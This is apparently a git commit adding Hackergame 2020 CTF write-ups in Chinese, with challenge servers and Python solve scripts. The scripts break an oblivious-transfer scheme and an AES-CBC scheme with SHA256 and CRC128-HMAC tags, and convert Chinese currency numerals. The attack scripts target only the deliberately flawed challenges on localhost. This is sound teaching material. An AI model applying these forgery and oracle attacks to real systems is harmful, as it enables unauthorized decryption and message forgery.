add another 5 wp

This commit is contained in:
zzh1996
2020-11-07 05:01:04 +08:00
parent df469bbf9e
commit 029a3845a9
39 changed files with 1447 additions and 5 deletions
+5 -5
View File
@@ -16,7 +16,7 @@
| [猫咪问答++(未完成)](official/猫咪问答++/README.md) | [文件、源代码](official/猫咪问答++/src) |
| [2048(未完成)](official/2048/README.md) | [文件、源代码](official/2048/src) |
| [一闪而过的 Flag](official/一闪而过的%20Flag/README.md) | [文件、源代码](official/一闪而过的%20Flag/src) |
| [从零开始的记账工具人(未完成)](official/从零开始的记账工具人/README.md) | [文件、源代码](official/从零开始的记账工具人/src) |
| [从零开始的记账工具人](official/从零开始的记账工具人/README.md) | [文件、源代码](official/从零开始的记账工具人/src) |
| [超简单的世界模拟器](official/超简单的世界模拟器/README.md) | [文件、源代码](official/超简单的世界模拟器/src) |
| [从零开始的火星文生活](official/从零开始的火星文生活/README.md) | [文件、源代码](official/从零开始的火星文生活/src) |
| [自复读的复读机](official/自复读的复读机/README.md) | [文件、源代码](official/自复读的复读机/src) |
@@ -37,12 +37,12 @@
| [超简易的网盘服务器](official/超简易的网盘服务器/README.md) | [文件、源代码](official/超简易的网盘服务器/src) |
| [超安全的代理服务器](official/超安全的代理服务器/README.md) | [文件、源代码](official/超安全的代理服务器/src) |
| [证验码(未完成)](official/证验码/README.md) | [文件、源代码](official/证验码/src) |
| [动态链接库检查器(未完成)](official/动态链接库检查器/README.md) | [文件、源代码](official/动态链接库检查器/src) |
| [超精准的宇宙射线模拟器(未完成)](official/超精准的宇宙射线模拟器/README.md) | [文件、源代码](official/超精准的宇宙射线模拟器/src) |
| [动态链接库检查器](official/动态链接库检查器/README.md) | [文件、源代码](official/动态链接库检查器/src) |
| [超精准的宇宙射线模拟器](official/超精准的宇宙射线模拟器/README.md) | [文件、源代码](official/超精准的宇宙射线模拟器/src) |
| [超迷你的挖矿模拟器](official/超迷你的挖矿模拟器/README.md) | [文件、源代码](official/超迷你的挖矿模拟器/src) |
| [Flag 计算机](official/Flag%20计算机/README.md) | [文件、源代码](official/Flag%20计算机/src) |
| [中间人(未完成)](official/中间人/README.md) | [文件、源代码](official/中间人/src) |
| [不经意传输(未完成)](official/不经意传输/README.md) | [文件、源代码](official/不经意传输/src) |
| [中间人](official/中间人/README.md) | [文件、源代码](official/中间人/src) |
| [不经意传输](official/不经意传输/README.md) | [文件、源代码](official/不经意传输/src) |
### 来自选手
+73
View File
@@ -1 +1,74 @@
# 不经意传输
## 花絮
我之前给 pwnhub 出过一道关于 oblivious transfer 的题目 [BabyOT](https://mp.weixin.qq.com/s/eAJWraah9OOgJfZOhm4Sqg)
0CTF/TCTF 2020 Finals 也有一道 [Oblivious](https://cr0wn.uk/2020/0ctf-oblivious/)
再加上这道题,三道题每道题的解法都完全不同。它们都是按照[维基百科上面的算法](https://en.wikipedia.org/wiki/Oblivious_transfer)实现的,但问题都在于,m0 和 m1 并不是均匀随机选择的。
我出这道题是因为某同学(就是 114514 那道题的出题人)跟我说,BabyOT 那道题其实 RSA 的 key 每次重新生成也可以做,不过要求字符集不能超过 16 个字符。他很快写好了字符集为连续 16 个字母的简单 demo。但是当我问他能不能把这 16 个字符设定成十六进制的 16 个字符时,我们都没想出来怎么搞。
我最开始以为穷举量太大,无法解出,后来发现其实把 RSA 的 bit 数变小就可以了,RSA 2048 变成 1024,解题需要的穷举量直接开根号。
## 第一问:解密消息
直接按照 oblivious transfer 的协议实现一下另一方就可以正常获取到两条消息中的一条了。
但是,这里有个坑,就是 m0 可能比 n 大。要么多试几次,要么把解出来的 m0 不断加上 n 尝试。
当然,你也可以直接去做第二问,这样第一问也包含在内了。
## 第二问:攻破算法
题目的缺陷在于,m0 和 m1 都是十六进制编码之后的字符串,每个字符都是在 0~9 a~f 这个特定的字符集内的,相比于随机的消息,非常不均匀。
![1-2 oblivious transfer](OT.png)
以下的数学公式都是 mod n 意义下的。
仔细思考 1-2 oblivious transfer 的算法,我们可以发现解决这道题的重点:
精心构造 v,可以 k0 和 k1 成比例。如果我们让 `k0 = -scale * k1`,那么就有 `m0' + m1' * scale = (m0 + k0) + (m1 + k1) * scale = m0 + m1 * scale`
如何让 `k0 = -scale * k1` 呢?我们知道 `k0 ^ e = v - x0``k1 ^ e = v - x1`,代进去把 v 解出来就行了:
`v = (x0 + scale ^ e * x1) / (1 + scale ^ e)`
只要我们发送这样计算得到的 v,然后拿到 m0' 和 m1' 时计算一下,就可以得到 `m0 + m1 * scale` 了。
首先我们考虑简单的情形,即,m0 和 m1 每个字符都是 0~15 的范围。
字符串编码成的大整数,可以看作是 256 进制的数,如果每一个字节都是 0~15,意味着高 4 个二进制位都是 0。如果我们取 `scale = 16`,那么 `m0 + m1 * scale` 就是把两个数交错拼起来,示意图如下:
```
m0: 01 02 03 04
m1: 0a 0b 0c 0d
```
这样的话
```
m0 : 01 02 03 04
m1 * 16 : a0 b0 c0 d0
m0 + m1 * 16: a1 b2 c3 d4
```
你看,什么信息都没丢,你可以轻松从中还原出 m0 和 m1。
再考虑复杂一点的情形,m0 和 m1 的字符集都是连续 16 个字符,或者说,更弱的条件,字符集的每个字符 mod 16 正好是 0~15。
此时,虽然 m0 和 m1 交织在了一起,但是我们从 `m0 + m1 * scale` 的低字节开始,通过 mod 16 就可以找到 m0 的低字节,然后减掉 m0 的低字节,继续 mod 16 找到 m1 的低字节,这样继续下去,就可以还原 m0 和 m1。
这道题中的情况是,m0 和 m1 的字符集 mod 16 并不恰好是 0~15。这样的话,当我们遇到重复的值,我们无法判定它是多种情况中的哪一个。所以,我们需要一些穷举。
其实,scale 也可以不是 16。我通过统计无法分辨的情况出现的概率,找到了题目字符集下比较好的一个 scale:19。
然后,我们拿到 `m0 + m1 * scale` 后,就可以开始从低字节开始寻找可能的 m0 和 m1 的低字节了,解题脚本需要记住所有的可能情况,然后不断向高字节搜索。
然而,对于我这种用 Python 这样运行速度很慢的语言解题的人来说,穷举量通常会是 2^30 以上的量级,在题目连接的短时间内无法穷举完成。当然,你可以选择不断重试,反正总有机会遇到穷举几分钟之内就找到解的情况。
穷举需要的数量级是一个二项分布(可以看成正态分布)。我的做法是,不断重新连接服务器,每次先计算一下穷举量,蹲到一个穷举量小于 2^24 的情况,分分钟就可以穷举出来。实测重连一些次就可以蹲到一次穷举量足够小的。
[解题脚本](src/solve_ot.py)
Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

+4
View File
@@ -0,0 +1,4 @@
FROM python:3.8
RUN python3 -m pip install -U pycryptodome
COPY OT.py /
CMD ["/usr/local/bin/python3", "-u", "/OT.py"]
+34
View File
@@ -0,0 +1,34 @@
from Crypto.PublicKey import RSA
from random import SystemRandom
import os
if __name__ == "__main__":
random = SystemRandom()
key = RSA.generate(1024)
print("n =", key.n)
print("e =", key.e)
m0 = int.from_bytes(os.urandom(64).hex().encode(), "big")
m1 = int.from_bytes(os.urandom(64).hex().encode(), "big")
x0 = random.randrange(key.n)
x1 = random.randrange(key.n)
print("x0 =", x0)
print("x1 =", x1)
v = int(input("v = "))
m0_ = (m0 + pow(v - x0, key.d, key.n)) % key.n
m1_ = (m1 + pow(v - x1, key.d, key.n)) % key.n
print("m0_ =", m0_)
print("m1_ =", m1_)
guess0 = int(input("m0 = "))
guess1 = int(input("m1 = "))
if guess0 == m0:
print(open("flag1").read())
if guess1 == m1:
print(open("flag2").read())
else:
print("Nope")
+97
View File
@@ -0,0 +1,97 @@
from pwn import *
import time
from tqdm import tqdm
threshold = 24
while True:
re = remote('127.0.0.1', 10031)
re.recvuntil("token: ")
re.sendline('这里填写你的 token')
re.recvuntil("n = ")
n = int(re.recvline())
re.recvuntil("e = ")
e = int(re.recvline())
re.recvuntil("x0 = ")
x0 = int(re.recvline())
re.recvuntil("x1 = ")
x1 = int(re.recvline())
cs = "0123456789abcdef"
bits = 1024
scale = 19
table = [[] for _ in range(256)]
for i in cs:
for j in cs:
v = ord(i) + scale * ord(j)
table[v % 256].append((i, j, v // 256))
v = (x0 + pow(scale, e, n) * x1) * pow(1 + pow(scale, e, n), -1, n) % n
re.recvuntil("v = ")
re.sendline(str(v))
re.recvuntil("m0_ = ")
m0_ = int(re.recvline())
re.recvuntil("m1_ = ")
m1_ = int(re.recvline())
start_r = (m0_ + m1_ * scale) % n
while True:
cands = {start_r: ([], 1)}
for b in range(bits // 8):
ncands = {}
for r, (m0, cnt) in cands.items():
for i, j, carry in table[r % 256]:
new_r = r // 256 - carry
if new_r < 0:
continue
if new_r not in ncands:
ncands[new_r] = [], 0
l, old_cnt = ncands[new_r]
l.append((i, m0))
ncands[new_r] = l, old_cnt + cnt
cands = ncands
if not cands:
break
if cands:
total = sum(cnt for _, (_, cnt) in cands.items())
print(total, total.bit_length())
break
start_r += n
if total < 2 ** threshold:
break
else:
print("Too long")
re.close()
time.sleep(5)
def generate(l):
for c, suffix in l:
if suffix:
for s in generate(suffix):
yield c + s
else:
yield c
pbar = tqdm(total=total, position=0, leave=True)
target = (v - x0) % n
for _, (root, _) in cands.items():
for m0 in generate(root):
m0 = int.from_bytes(m0.encode(), 'big')
if pow(m0_ - m0, e, n) == target:
m1 = (start_r - m0) // scale
m1t = m1.to_bytes(bits // 8, 'big')
re.recvuntil("m0 = ")
re.sendline(str(m0))
re.recvuntil("m1 = ")
re.sendline(str(m1))
re.interactive()
exit()
pbar.update(1)
pbar.close()
+106
View File
@@ -1 +1,107 @@
# 中间人
## 花絮
这道题创意的来源是,我之前出过一个 poodle attack 的题目,然后应该放 HMAC 的地方我直接放了一个 sha256,被某同学(就是 114514 那道题的出题人)非预期了。
(然而,这道题也被非预期了。)
如果你对 block cipher 的这类攻击不熟悉,建议先去了解一下 AES 的 CBC 模式,还有 padding oracle 和 poodle attack 的原理,然后再继续阅读,否则你可能看不懂我在讲什么。
后来,我思考了一个问题,如果 HMAC 的 Hash 算法选择了(明显不安全的)CRC,那么题目还能解出来吗?
经过很久的思考之后,我和那位同学发现,是可以解的!但是需要替换大量的 block,还要解线性方程组,比较麻烦。
然后我把这道题发给了另一位同学(就是数理模拟器的出题人),让他试试看,结果他发现只需要替换第一个 block 就行了,因为 IV 是可以随便改的。为了让大家不能这么方便解题,我又出了第三问,也就是限制了 IV 不能改变。
## 非预期解
我出题的时候万万没想到这道题会有时间侧信道的问题,长教训了。
后两问都可以用非预期的解法求解,原理就是发送大量数据的时候,CRC 的计算太慢了,于是可以通过测量时间来判断有没有计算 CRC。只有当 unpad 没有出错时,CRC 才会计算,所以这就是一个 padding oracle。
我没有把这个非预期的解法实现出来,所以蹲一个用这个方法的 write-up。
还是那句老话:不要自己实现密码学算法。
## 预期解法
我需要写 10 道题的 write-up,太多了,所以这里就不画图了,简略说一下解题思路。如果有不理解的欢迎讨论,发 Issue、提 PR、私聊找我都可以。
### 不安全的消息认证码
加密的消息的内容排布是这样的:
`IV text name text flag extra sha256 padding`
当 padding 和 sha256 都正确的时候,程序会输出 Thanks。
对于 CBC 模式,我们把中间的一部分切出来(去掉开头和结尾的一些 block),第一个 block 当 IV,那么解密出来的明文也会是原始明文的一部分。
我们可以控制 name 和 extra,首先我们可以通过不断让输入的长度增加,找到密文恰好变长一个 block 的时刻,就能推算出 flag 的长度。
然后我们控制 name 是特定的长度,让 flag 的最后一个字符在一个 block 的起始处,把 extra 设置成 flag 最后一个字符猜测值的 sha256,再补上我们自己的 padding,让排布变成这个样子:
`IV text name text fla|g our_sha256 our_padding | sha256 padding`
然后按照我划线的地方把密文切开,我们就可以得到明文中那一部分对应的密文。
这时候,我们把切出来的密文发给服务器验证,如果我们对 flag 最后一个字符的猜测是正确的,就会得到 Thanks。
接下来,我们对所有可能的字符进行穷举,就可以找到 flag 的最后一个字符是什么。
我们可以让 name 变长,flag 向右移动,这样就可以每次猜测 flag 的一个字符,直到获得整个 flag。
[第一问解题代码](src/mitm_exp1.py)
### 不安全的 CRC1
HMAC 的结构并不重要,我们只需要知道,CRC128 相同的时候 HMAC 一定相同就可以了。
设想我们把密文中的一个 block i 替换掉密文中另一处的一个 block j 会发生什么?
根据 CBC 模式的计算规则,j 和 j+1 处明文的改变相当于是异或了一些东西:
```
C[i] = encrypt(C[i-1] ^ P[i])
C[j] = encrypt(C[j-1] ^ P[j])
C[j+1] = encrypt(C[j] ^ P[j+1])
```
替换之后
```
C[i] = encrypt(C[j-1] ^ P'[j])
C[j+1] = encrypt(C[i] ^ P'[j+1])
```
所以
```
P'[j] = P[i] ^ C[i-1] ^ C[j-1]
P'[j+1] = P[j+1] ^ C[i] ^ C[j]
```
在知道原本的明文中 `P[i]``P[j]` 的情况下,我们可以计算出明文的改变(即异或了哪个字符串)。
CRC 是对原文所有 bit 的一个线性运算,也就是说,在明文中改变一些特定的 bit(异或一个特定的字符串),CRC 变化的 bit 也是确定的。
我们可以假定 flag 的最后一个字符,然后把包含它的密文 block 替换掉另一个已知明文的 block,这时明文变化引起的 CRC 改变是可以预测的,即使我们并不知道明文中的一部分(flag)。
我们通过改变 IV 来影响明文第一个 block,把刚才对 CRC 的影响抵消掉,此时原来的 HMAC-CRC128 会保持不变。
如果我们对 flag 中字符的假设是正确的,服务器就可以成功验证我们的密文。
然后跟第一问一样,我们一直重复这个过程直到获得整个 flag 即可。
[第二问解题代码](src/mitm_exp2.py)
如果 IV 被限制成固定的,此时我们用密文来替换 block 对 CRC 产生的改变是可以预测的,但我们并不能按我们想要的方式对明文产生特定的改变(就像改变 IV 那样)。
这时,我们可以发送比较长的明文,然后对 >=128 种替换密文 block 的位置分别计算其对 CRC 的影响。对于每一种替换的位置,我们可以选择替换与不替换,这样相当于选择对 CRC 的影响要还是不要。我们希望总的影响互相抵消,此时问题转化为求解一个 GF(2) 上的线性方程组。我们解出来线性方程组的一个解,就意味着我们如此组合每一个替换与不替换,能够让所有替换对 CRC 产生的影响互相抵消,CRC 保持不变。
此时,如果我们对 flag 中字符的假设是正确的,服务器就可以成功验证我们的密文。
然后重复这个过程即可得到完整的 flag。
[第三问解题代码](src/mitm_exp3.py) (需要使用 SageMath 运行)
+4
View File
@@ -0,0 +1,4 @@
FROM python:3.8
RUN python3 -m pip install -U pycryptodome
COPY entry.py MITM1.py MITM2.py MITM3.py utils.py /
CMD ["/usr/local/bin/python3", "-u", "/entry.py"]
+40
View File
@@ -0,0 +1,40 @@
#!/usr/bin/env python3
from Crypto.Cipher import AES
import os
from hashlib import sha256
from utils import *
def talk_to_Alice():
name = bytes.fromhex(input("What's your name? "))
extra = bytes.fromhex(input("What else do you want to say? "))
msg = b"Thanks " + name + b" for taking my flag: " + flag + extra
plaintext = msg + sha256(msg).digest()
iv = os.urandom(AES.block_size)
aes = AES.new(AES_key, AES.MODE_CBC, iv)
print("This is my encrypted message, please take it to Bob:")
print((iv + aes.encrypt(pad(plaintext))).hex())
def talk_to_Bob():
try:
ciphertext = bytes.fromhex(input("Show me your message from Alice: "))
iv = ciphertext[: AES.block_size]
aes = AES.new(AES_key, AES.MODE_CBC, iv)
plaintext = unpad(aes.decrypt(ciphertext[AES.block_size :]))
assert sha256(plaintext[:-32]).digest() == plaintext[-32:]
print("Thanks")
except:
print("What's your problem???")
if __name__ == "__main__":
flag = open("flag1").read().encode()
AES_key = os.urandom(16)
while True:
choice = input("Whom do you want to talk to? ")
if choice == "Alice":
talk_to_Alice()
elif choice == "Bob":
talk_to_Bob()
+40
View File
@@ -0,0 +1,40 @@
#!/usr/bin/env python3
from Crypto.Cipher import AES
import os
from utils import *
def talk_to_Alice():
name = bytes.fromhex(input("What's your name? "))
extra = bytes.fromhex(input("What else do you want to say? "))
msg = b"Thanks " + name + b" for taking my flag: " + flag + extra
plaintext = msg + hmac_crc128(MAC_key, msg)
iv = os.urandom(AES.block_size)
aes = AES.new(AES_key, AES.MODE_CBC, iv)
print("This is my encrypted message, please take it to Bob:")
print((iv + aes.encrypt(pad(plaintext))).hex())
def talk_to_Bob():
try:
ciphertext = bytes.fromhex(input("Show me your message from Alice: "))
iv = ciphertext[: AES.block_size]
aes = AES.new(AES_key, AES.MODE_CBC, iv)
plaintext = unpad(aes.decrypt(ciphertext[AES.block_size :]))
assert hmac_crc128(MAC_key, plaintext[:-16]) == plaintext[-16:]
print("Thanks")
except:
print("What's your problem???")
if __name__ == "__main__":
flag = open("flag2").read().encode()
AES_key = os.urandom(16)
MAC_key = os.urandom(16)
while True:
choice = input("Whom do you want to talk to? ")
if choice == "Alice":
talk_to_Alice()
elif choice == "Bob":
talk_to_Bob()
+43
View File
@@ -0,0 +1,43 @@
#!/usr/bin/env python3
from Crypto.Cipher import AES
import os
from utils import *
def talk_to_Alice():
global iv
name = bytes.fromhex(input("What's your name? "))
extra = bytes.fromhex(input("What else do you want to say? "))
msg = b"Thanks " + name + b" for taking my flag: " + flag + extra
plaintext = msg + hmac_crc128(MAC_key, msg)
iv = os.urandom(AES.block_size)
aes = AES.new(AES_key, AES.MODE_CBC, iv)
print("This is my encrypted message, please take it to Bob:")
print((iv + aes.encrypt(pad(plaintext))).hex())
def talk_to_Bob():
global iv
try:
ciphertext = bytes.fromhex(input("Show me your message from Alice: "))
assert iv == ciphertext[: AES.block_size]
aes = AES.new(AES_key, AES.MODE_CBC, iv)
plaintext = unpad(aes.decrypt(ciphertext[AES.block_size :]))
assert hmac_crc128(MAC_key, plaintext[:-16]) == plaintext[-16:]
print("Thanks")
except:
print("What's your problem???")
if __name__ == "__main__":
flag = open("flag3").read().encode()
AES_key = os.urandom(16)
MAC_key = os.urandom(16)
iv = None
while True:
choice = input("Whom do you want to talk to? ")
if choice == "Alice":
talk_to_Alice()
elif choice == "Bob":
talk_to_Bob()
+11
View File
@@ -0,0 +1,11 @@
import os
level = int(input("Which level do you want to play (1/2/3)? "))
if level == 1:
os.system("python3 -u MITM1.py")
elif level == 2:
os.system("python3 -u MITM2.py")
elif level == 3:
os.system("python3 -u MITM3.py")
else:
print("Invalid input")
+68
View File
@@ -0,0 +1,68 @@
from pwn import *
from hashlib import sha256
# context.log_level = 'debug'
r = remote('127.0.0.1', 10041)
r.recvuntil('token: ')
r.sendline('这里填写你的 token')
r.recvuntil('? ')
r.sendline('1')
def enc(name, extra):
r.recvuntil('? ')
r.sendline('Alice')
r.recvuntil('? ')
r.sendline(name.hex())
r.recvuntil('? ')
r.sendline(extra.hex())
r.recvuntil(':\n')
return bytes.fromhex(r.recvline().decode().strip())
def check(cipher):
r.recvuntil('? ')
r.sendline('Bob')
r.recvuntil(': ')
r.sendline(cipher.hex())
reply = r.recvline()
return b'Thanks' in reply
assert check(enc(b'abc', b'def'))
# 16 IV
# 7 text
# ? name
# 21 text
# flag
# ? extra
# 32 sha256
# 16 padding
def pad(msg):
n = 16 - len(msg) % 16
return msg + bytes([n]) * n
l = len(enc(b'', b''))
payload = b''
while len(enc(b'', payload)) == l:
payload += b'a'
flaglen = l + 16 - 16 - 32 - 16 - 7 - 21 - len(payload)
print(flaglen)
flag = b''
for i in range(flaglen):
namelen = 16 - (7 + 21 + flaglen - len(flag)) % 16 + 1
prefixlen = 7 + namelen + 21 + flaglen - len(flag) - 1
assert prefixlen % 16 == 0
for c in range(256):
payload = pad(bytes([c]) + flag + sha256(bytes([c]) + flag).digest())[len(flag)+1:]
ct = enc(namelen * b'a', payload)
if check(ct[prefixlen:-32-16]):
flag = bytes([c]) + flag
print(flag)
break
else:
print('not found')
exit(-1)
+97
View File
@@ -0,0 +1,97 @@
from pwn import *
from hashlib import sha256
# context.log_level = 'debug'
r = remote('127.0.0.1', 10041)
r.recvuntil('token: ')
r.sendline('这里填写你的 token')
r.recvuntil('? ')
r.sendline('2')
def enc(name, extra):
r.recvuntil('? ')
r.sendline('Alice')
r.recvuntil('? ')
r.sendline(name.hex())
r.recvuntil('? ')
r.sendline(extra.hex())
r.recvuntil(':\n')
return bytes.fromhex(r.recvline().decode().strip())
def check(cipher):
r.recvuntil('? ')
r.sendline('Bob')
r.recvuntil(': ')
r.sendline(cipher.hex())
reply = r.recvline()
return b'Thanks' in reply
assert check(enc(b'abc', b'def'))
# 16 IV
# 7 text
# ? name
# 21 text
# flag
# ? extra
# 16 crc128
# 16 padding
def pad(msg):
n = 16 - len(msg) % 16
return msg + bytes([n]) * n
def xor(b1, b2):
return bytes([x ^ y for x, y in zip(b1, b2)])
def crc128(msg):
crc = (1 << 128) - 1
for b in msg:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1))
return (crc ^ ((1 << 128) - 1)).to_bytes(16, "big")
def construct(offset, tail, target):
length = (offset + tail) * 8 + 128
crc = ((int.from_bytes(target, 'big') ^ ((1 << 128) - 1)) << length) ^ ((1 << 128) - 1)
for _ in range(length):
crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1))
length = tail * 8 + 128
crc <<= length
for i in range(length):
if crc & (1 << (128 + length - i - 1)):
crc ^= (0xB595CF9C8D708E2166D545CF7CFDD4F9 * 2 + 1) << (length - 1 - i)
msg = crc.to_bytes(16, "little")
return b'\x00' * offset + msg + b'\x00' * tail
l = len(enc(b'', b''))
payload = b''
while len(enc(b'', payload)) == l:
payload += b'a'
flaglen = l + 16 - 16 - 16 - 16 - 7 - 21 - len(payload)
print(flaglen)
flag = b''
for i in range(flaglen):
namelen = 16 - (7 + 21 + flaglen - len(flag)) % 16 + 1 + 16
prefixlen = 7 + namelen + 21 + flaglen - len(flag) - 1
assert prefixlen % 16 == 0
ct = enc(namelen * b'a', b'a' * 16)
blk = ct[prefixlen + 16: prefixlen + 16 + 16]
for c in range(256):
blk_p = (bytes([c]) + flag + b'a' * 15)[:16]
blk_iv = ct[prefixlen: prefixlen + 16]
change = xor(xor(xor(b"Thanks aaaaaaaaa", blk_p), ct[:16]), blk_iv) + xor(blk, ct[16:32])
new_iv = xor(ct[:16], construct(0, 16, crc128(change)))
payload = new_iv + blk + ct[32:]
if check(payload):
flag = bytes([c]) + flag
print(flag)
break
else:
print('not found')
exit(-1)
+109
View File
@@ -0,0 +1,109 @@
import os
os.environ['PWNLIB_NOTERM'] = "true"
from pwn import remote
from sage.all import *
# context.log_level = 'debug'
r = remote('127.0.0.1', 10041)
r.recvuntil('token: ')
r.sendline('这里填写你的 token')
r.recvuntil('? ')
r.sendline('3')
def enc(name, extra):
r.recvuntil('? ')
r.sendline('Alice')
r.recvuntil('? ')
r.sendline(name.hex())
r.recvuntil('? ')
r.sendline(extra.hex())
r.recvuntil(':\n')
return bytes.fromhex(r.recvline().decode().strip())
def check(cipher):
r.recvuntil('? ')
r.sendline('Bob')
r.recvuntil(': ')
r.sendline(cipher.hex())
reply = r.recvline()
return b'Thanks' in reply
assert check(enc(b'abc', b'def'))
# 16 IV
# 7 text
# ? name
# 21 text
# flag
# ? extra
# 16 crc128
# 16 padding
def xor(b1, b2):
return bytes([x ^ y for x, y in zip(b1, b2)])
def crc128(msg):
crc = (1 << 128) - 1
for b in msg:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1))
return (crc ^ ((1 << 128) - 1)).to_bytes(16, "big")
l = len(enc(b'', b''))
payload = b''
while len(enc(b'', payload)) == l:
payload += b'a'
flaglen = l + 16 - 16 - 16 - 16 - 7 - 21 - len(payload)
print(flaglen)
N = 150
flag = b''
while len(flag) < flaglen:
namelen = 16 - (7 + 21 + flaglen - len(flag)) % 16 + 1 + 16 + 16 * N
prefixlen = 7 + namelen + 21 + flaglen - len(flag) - 1
assert prefixlen % 16 == 0
ct = enc(namelen * b'a', b'a' * 32)
blk_flagprev_c = ct[prefixlen: prefixlen + 16]
blk_flag_c = ct[prefixlen + 16: prefixlen + 16 + 16]
blk_flagnext_c = ct[prefixlen + 32: prefixlen + 16 + 32]
blk_flagnext_p = (b'_' + flag + b'a' * 32)[16:32]
changes = []
strs = []
for i in range(N):
blk0_c = ct[16 * i + 16: 16 * i + 16 + 16]
blk1_c = ct[16 * i + 32: 16 * i + 16 + 32]
blk1_p = b'a' * 16
change = xor(xor(xor(blk0_c, blk1_p), blk_flag_c), blk_flagnext_p) + xor(blk1_c, blk_flagnext_c)
strs.append(b'\x00' * 16 * (i + 1) + change + b'\x00' * 16 * (N - 1 - i))
changes.append(crc128(strs[-1]))
A = Matrix(GF(2), 128, N)
for i in range(128):
for j in range(N):
A[i, j] = (int.from_bytes(changes[j], 'big') >> i) & 1
for c in range(256):
blk_flag_p = (bytes([c]) + flag + b'a' * 32)[:16]
target = xor(xor(xor(b"Thanks aaaaaaaaa", ct[:16]), blk_flagprev_c), blk_flag_p) + xor(ct[16:32], blk_flag_c)
target_str = target + b'\x00' * 16 * N
target = crc128(target_str)
B = vector(GF(2), 128)
for i in range(128):
B[i] = (int.from_bytes(target, 'big') >> i) & 1
result = A.solve_right(B)
# x = b'\x00' * 16 * (N + 1)
# for i in range(N):
# if result[i]:
# x = xor(x, strs[i])
# assert crc128(x) == target
payload = ct[:16] + blk_flag_c + b''.join(blk_flagnext_c if result[i] else ct[16 * i + 32: 16 * i + 16 + 32] for i in range(N)) + ct[16+16+16*N:]
if check(payload):
flag = bytes([c]) + flag
print(flag)
break
+33
View File
@@ -0,0 +1,33 @@
from Crypto.Cipher import AES
def pad(msg):
n = AES.block_size - len(msg) % AES.block_size
return msg + bytes([n]) * n
def unpad(msg):
assert len(msg) > 0 and len(msg) % AES.block_size == 0
n = msg[-1]
assert 1 <= n <= AES.block_size
assert msg[-n:] == bytes([n]) * n
return msg[:-n]
def xor(b1, b2):
return bytes([x ^ y for x, y in zip(b1, b2)])
def crc128(msg):
crc = (1 << 128) - 1
for b in msg:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1))
return (crc ^ ((1 << 128) - 1)).to_bytes(16, "big")
def hmac_crc128(key, msg): # RFC 2104
opad = b"\x5c" * 16
ipad = b"\x36" * 16
return crc128(xor(key, opad) + crc128(xor(key, ipad) + msg))
@@ -1 +1,68 @@
# 从零开始的记账工具人
这道题考察选手基本的编程处理数据的能力,常见的编程语言都可以编写出解题代码。
## 解法 1
手工计算(听说真的有同学是这样做的?)
## 解法 2
使用任意文本编辑器(或者 Excel 本身)做字符串替换,替换规则如下:
```
'零' -> ''
'壹' -> '1'
'贰' -> '2'
'叁' -> '3'
'肆' -> '4'
'伍' -> '5'
'陆' -> '6'
'柒' -> '7'
'捌' -> '8'
'玖' -> '9'
'拾' -> '*10+'
'佰' -> '*100+'
'仟' -> '*1000+'
'元' -> '+'
'角' -> '/10+'
'分' -> '/100'
'++' -> '+'
'整' -> ''
```
然后如果开头有乘号或者结尾有加号,去掉即可,这样的数学表达式求值即可得到正确的结果。
## 解法 3
编程求解,这里使用 Python 语言。
我们首先使用 Excel(或者其他商业的、开源的、在线的电子表格工具)将下载的文件转换为 `.csv` 格式,即逗号分隔的文本。(当然,你也可以使用解析 Excel 文件格式的库来处理)
然后在 Python 中安装 cn2an 这个中文数字转换的库:
`python3 -m pip install cn2an`
然后使用 Python 程序处理这个文件:
```python
import cn2an
lines = open('bills.csv').readlines()[1:]
s = 0
for line in lines:
a, b = line.strip().split(',')
n = 0
if '' in a:
y, a = a.split('')
n += cn2an.cn2an(y, "smart")
if '' in a:
y, a = a.split('')
n += cn2an.cn2an(y, "smart") / 10
if '' in a:
y, a = a.split('')
n += cn2an.cn2an(y, "smart") / 100
s += n * int(b)
print(s)
```
最后输出的结果可能有一些浮点误差,自己四舍五入一下就好了。(更好的办法是使用整数来计算,但是我比较懒就不写了)
@@ -0,0 +1,7 @@
FROM tiangolo/uwsgi-nginx-flask:python3.8
RUN pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
RUN pip3 install pyopenssl XlsxWriter cn2an
RUN echo 'wsgi-disable-file-wrapper = true' >> /app/uwsgi.ini
COPY ./app /app
@@ -0,0 +1,17 @@
-----BEGIN CERTIFICATE-----
MIICwDCCAmagAwIBAgIUHo/UysuMf4+WAcChW3hM1NHDQDkwCgYIKoZIzj0EAwIw
gbYxCzAJBgNVBAYTAkNOMQ4wDAYDVQQIDAVBbmh1aTEOMAwGA1UEBwwFSGVmZWkx
HjAcBgNVBAoMFVVTVEMgTGludXggVXNlciBHcm91cDEhMB8GA1UECwwYVGhlIEhh
Y2tlcmdhbWUgQ29tbWl0dGVlMR0wGwYDVQQDDBRoYWNrLmx1Zy51c3RjLmVkdS5j
bjElMCMGCSqGSIb3DQEJARYWaGFja2VyZ2FtZUB1c3RjbHVnLm9yZzAeFw0yMDEw
MDgxNTIwMzZaFw0yMTEwMDgxNTIwMzZaMIG2MQswCQYDVQQGEwJDTjEOMAwGA1UE
CAwFQW5odWkxDjAMBgNVBAcMBUhlZmVpMR4wHAYDVQQKDBVVU1RDIExpbnV4IFVz
ZXIgR3JvdXAxITAfBgNVBAsMGFRoZSBIYWNrZXJnYW1lIENvbW1pdHRlZTEdMBsG
A1UEAwwUaGFjay5sdWcudXN0Yy5lZHUuY24xJTAjBgkqhkiG9w0BCQEWFmhhY2tl
cmdhbWVAdXN0Y2x1Zy5vcmcwVjAQBgcqhkjOPQIBBgUrgQQACgNCAAQcAwLQKJf1
W8podrvryfX7GI3xEneVlEriKNh7ltLe35BfU405TSKVXOKZfxdukiUwKZUPOI4o
zqsAfklnl/Jco1MwUTAdBgNVHQ4EFgQUnHTMWSWk9BgfVDphGi/VhTH5zOYwHwYD
VR0jBBgwFoAUnHTMWSWk9BgfVDphGi/VhTH5zOYwDwYDVR0TAQH/BAUwAwEB/zAK
BggqhkjOPQQDAgNIADBFAiAtkdkJ6vO1abjJt5jCnRDHCnGHTPetOtAQ12Fr1fo1
